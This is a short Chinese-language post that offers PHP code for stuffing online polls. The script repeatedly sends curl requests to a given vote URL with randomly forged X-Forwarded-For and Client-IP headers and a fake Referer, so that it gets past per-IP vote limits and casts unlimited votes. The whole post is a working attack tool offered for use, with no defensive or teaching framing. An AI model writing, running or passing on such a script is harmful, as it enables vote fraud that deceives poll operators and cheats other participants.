网上投票系统刷票PHP代码

很多网站上的投票依据是ip地址，不同的ip地址一天可投票一次

下面的代码就是利用curl扩展来伪造ip地址 达到无限制投票；

1. $times = $_POST['times']; //投票次数
2. $url = $_POST['url']; //投票地址[某个选手下方投票按钮的链接]
3. while ($times)
4. {
5. $ip1 = 'X-FORWARDED-FOR:'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225);
6. $ip2 = 'CLIENT-IP:'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225);
7. $arr = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
8. $from = "http://www.".$arr[rand(0,25)].".com/";
9. $ch = curl_init();
10. curl_setopt($ch, CURLOPT_URL, $url);
11. curl_setopt($ch, CURLOPT_HTTPHEADER, array($ip1, $ip2));
12. curl_setopt($ch, CURLOPT_REFERER, $from);
13. curl_setopt($ch, CURLOPT_HEADER, 1);
14. curl_exec($ch);
15. curl_close($ch);
16. $times--;
17. }
18. return ;
